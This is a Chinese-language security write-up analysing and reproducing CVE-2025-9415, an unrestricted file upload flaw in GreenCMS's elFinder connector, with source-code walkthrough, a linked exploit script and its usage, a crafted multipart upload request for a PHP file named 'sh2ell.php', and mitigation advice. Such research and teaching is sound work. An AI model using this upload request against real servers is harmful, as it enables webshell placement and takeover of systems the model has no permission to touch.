GreenCMS文件上传 分析&复现 | CVE-2025-9415

GreenCMS文件上传 分析&复现 | CVE-2025-9415

0x0 背景介绍

在 GrееnCMS 2.3.0603 及更早版本中发现了一个漏洞。该漏洞影响了文件/index.php?m=admin&c=media&a=fileconnect中的未知部分。对参数upload[]的操纵导致了无限制的上传。该攻击可以远程执行。该漏洞的利用代码已公开,可能会被使用。此漏洞仅影响维护者不再支持的产品。

0x1 环境搭建

Win10+PhPstudy搭建配置

项目源码:GReenCMS 2014 *PS:php版本使用5.6x就可以,默认web安装即可,输入数据库密码就安装成功;

0x2 漏洞复现

python脚本

https://github.com/Kai-One001/cve-/blob/main/GreenCMS_upload_CVE-2025-9415.py

*PS:*脚本用法是python xx.py http://127.0.0.1/ -c "cookie"

1、使用的cookie我测试,并不是登录产生的,是这个项目返回的;2、我原本得想法是脚本去伪造捕获的,但是遇到一些问题greencms_last_visit_page是完整地址 是经过base64->url编码后的值,但是其它的除PHPSESSID是服务器返回的,另一个不懂得就是HMACCOUNT(好像是防止命令篡改的哈希令牌),没办法伪造,也没有仔细去深入项目代码研究;3、另一个cookie我发现谷歌浏览器抓取缺少一些值,burp反而是可以直接使用的。

复现截图

复现流量特征 (PACP)

1、尝试去获取下hash值/index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1 2、使用获取的值/默认值也可以,对接口/index.php?m=admin&c=media&a=fileconnect进行文件上传 3、随后进行上传文件验证

0x3 漏洞原理分析

根据发布信息说 /index.php?m=admin&c=media&a=fileconnect 存在文件上传

进入项目文件查看

访问路由 /index.php?m=admin&c=media&a=fileconnect

1:模块 (Module) → 目录

参数 m=admin告诉框架要去 Application目录下寻找名为 Admin的模块目录。

路径:./Application/Admin/

2:控制器 (Controller) → 文件:

参数 c=media告诉框架要去上述模块目录下的 Controller目录里,寻找名为Media的控制器文件。

ThinkPHP 3.2 的控制器的类名有特定格式:“控制器名” + “Controller” + “.class.php”。

所以这里,c=media映射到文件 MediaController.class.php=>查询文件路径为:./Application/Admin/Controller/MediaController.class.php

3:操作(Action) → 方法

参数 a=fileconnect是告诉框架要去上述控制器文件中,寻找名为fileconnect的 公共方法(public function)来执行。

MediaController.class.php中fileConnect 方法

#Application/Admin/Controller/MediaController.class.php

public function fileConnect()

{

$roots = array('Upload/', 'Application/', 'Public/', ''); //

$opts = $this->__array($roots);

define('GreenCMS', 'GreenCMS');

include WEB_ROOT . 'Extend/Elfinder/php/connector.php'; //包含elfinder自带php接口的入口文件

}

0直接 include 连接器,未在此处加入任何上传安全策略。

PS:这里代码简单,需要去挖掘下直接的 include 连接器(connector.php 是elFinder 的核心后端文件负责上传、浏览、删除等)。

1: 尝试构造下查询目录:GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1

2: 通过 cmd 参数执行不同命令:

cmd值 -> 功能

open -> 打开目录

upload -> 上传文件

rm -> 删除文件

mkdir -> 创建目录

3: 获取后响应如下:从中可以看到所有目录,包括一个upload信息:有路径和hash等参数

{"cwd":{"mime":"directory","ts":1756199508,"read":1,"write":1,"size":0,"hash":"l1_XA","volumeid":"l1_","name":"Upload","locked":1},"options":{"path":"Upload","url":"\/Upload\/","tmbUrl":"\/Upload\/.tmb\/","disabled":[],"separator":"\\","copyOverwrite":1,"archivers":{"create":["application\/x-tar"],"extract":["application\/x-tar"]}},

现在回到fileConnect 代码有一处include WEB_ROOT,根据这个线索找到connector.php

#\GreenCMS-2.3.0603\Extend\Elfinder\php\connector.php

defined('GreenCMS') or exit();

error_reporting(0); // Set E_ALL for debuging

include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderConnector.class.php';

include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinder.class.php';

include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeDriver.class.php';

include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeLocalFileSystem.class.php';

// Required for MySQL storage connector

// include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeMySQL.class.php';

// Required for FTP connector support

// include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeFTP.class.php';

/**

* Simple function to demonstrate how to control file access using "accessControl" callback.

* This method will disable accessing files/folders starting from '.' (dot)

*

* @param string $attr attribute name (read|write|locked|hidden)

* @param string $path file path relative to volume root directory started with directory separator

* @return bool|null

**/

function access($attr, $path, $data, $volume) {

return strpos(basename($path), '.') === 0 // if file/folder begins with '.' (dot)

? !($attr == 'read' || $attr == 'write') // set read+write to false, other (locked+hidden) set to true

: null; // else elFinder decide it itself

}

// Documentation for connector options:

// https://github.com/Studio-42/elFinder/wiki/Connector-configuration-options

//$opts = array(

// // 'debug' => true,

// 'roots' => array(

// array(

// 'driver' => 'LocalFileSystem', // driver for accessing file system (REQUIRED)

// 'path' => '../files/', // path to files (REQUIRED)

// 'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED)

// 'accessControl' => 'access' // disable and hide dot starting files (OPTIONAL)

// )

// )

//);

// run elFinder

$connector = new elFinderConnector(new elFinder($opts));

$connector->run();

0: 代码中调用几个class.php,下面提到调用的是elfinder.class.php 示例:$connector = new elFinderConnector(new elFinder($opts));

1:elfinder.class.php中的protected $commands = array定义了许多方法,我们关注到upload就可以

protected $commands = array(

'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false)

);

2:upload 中发现使用的话需要几个必要参数,cmd=upload&target=xxx,再往下看看upload方法。

elfinder.class.php->protected function upload

protected function upload($args) {

$target = $args['target'];

$volume = $this->volume($target);

$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();

$result = array('added' => array(), 'header' => empty($args['html']) ? false : 'Content-Type: text/html; charset=utf-8');

if (empty($files)) {

return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_UPLOAD_NO_FILES), 'header' => $header);

}

if (!$volume) {

return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target), 'header' => $header);

}

foreach ($files['name'] as $i => $name) {

if (($error = $files['error'][$i]) > 0) {

$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $error == UPLOAD_ERR_INI_SIZE || $error == UPLOAD_ERR_FORM_SIZE ? self::ERROR_UPLOAD_FILE_SIZE : self::ERROR_UPLOAD_TRANSFER);

$this->uploadDebug = 'Upload error code: '.$error;

break;

}

$tmpname = $files['tmp_name'][$i];

if (($fp = fopen($tmpname, 'rb')) == false) {

$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, self::ERROR_UPLOAD_TRANSFER);

$this->uploadDebug = 'Upload error: unable open tmp file';

break;

}

if (($file = $volume->upload($fp, $target, $name, $tmpname)) === false) {

$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $volume->error());

fclose($fp);

break;

}

fclose($fp);

$result['added'][] = $file;

}

return $result;

}

这里就明显了,也没有什么过滤和限制,可以尝试构造上传。

构造上传的请求:

ontent-Type: multipart/form-data; boundary=----BOUNDARY

Connection: close

Content-Length: 403

------BOUNDARY

Content-Disposition: form-data; name="cmd"

upload

------BOUNDARY

Content-Disposition: form-data; name="target"

l1_XA

------BOUNDARY

Content-Disposition: form-data; name="overwrite"

1

------BOUNDARY

Content-Disposition: form-data; name="upload[]"; filename="sh2ell.php"

Content-Type: application/octet-stream

------BOUNDARY--

0x4 修复建议

修复方案

当前官方好像没有发布补丁,只能临时缓解。临时缓解措施: 最小化根目录:仅保留受控上传目录(如 Upload/);移除 Application/、项目根 ''; 严格上传策略:elFinder $opts 、acceptedName 使用严格文件名正则,过滤危险字符等; Web 服务器层禁止脚本执行: Upload/、Public/Upload/ 等目录显式禁用 PHP 解析;(Nginx/Apache 均需配置); 控制器二次校验:校验后缀、MIME、文件头签名、大小与数量。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐

镗深孔时如何抑制颤振?
0755 36553288

镗深孔时如何抑制颤振?

📅 09-12 👁️ 8242
gran-turismo.com
BSt365提现

gran-turismo.com

📅 06-29 👁️ 349